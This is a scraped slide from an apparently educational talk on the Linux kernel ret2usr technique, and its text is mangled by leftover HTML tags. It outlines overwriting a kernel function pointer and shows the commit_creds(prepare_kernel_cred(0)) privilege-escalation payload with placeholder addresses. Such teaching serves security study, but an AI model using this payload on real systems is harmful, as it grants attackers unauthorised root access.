Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
et2usr<br />
Opti<strong>on</strong> #1 - corrupted functi<strong>on</strong> ptr<br />
• Find a functi<strong>on</strong> pointer to overwrite<br />
• mmap privilege escalati<strong>on</strong> payload in user space:<br />
int __attribute__((regparm(3))) (*commit_creds)(unsigned l<strong>on</strong>g cred);<br />
unsigned l<strong>on</strong>g __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned l<strong>on</strong>g cred);<br />
commit_creds = 0xffffffffxxxxxxxx;<br />
prepare_kernel_cred = 0xffffffffxxxxxxxx;<br />
void escalate_privs() { commit_creds(prepare_kernel_cred(0)); }<br />
• Trigger the functi<strong>on</strong>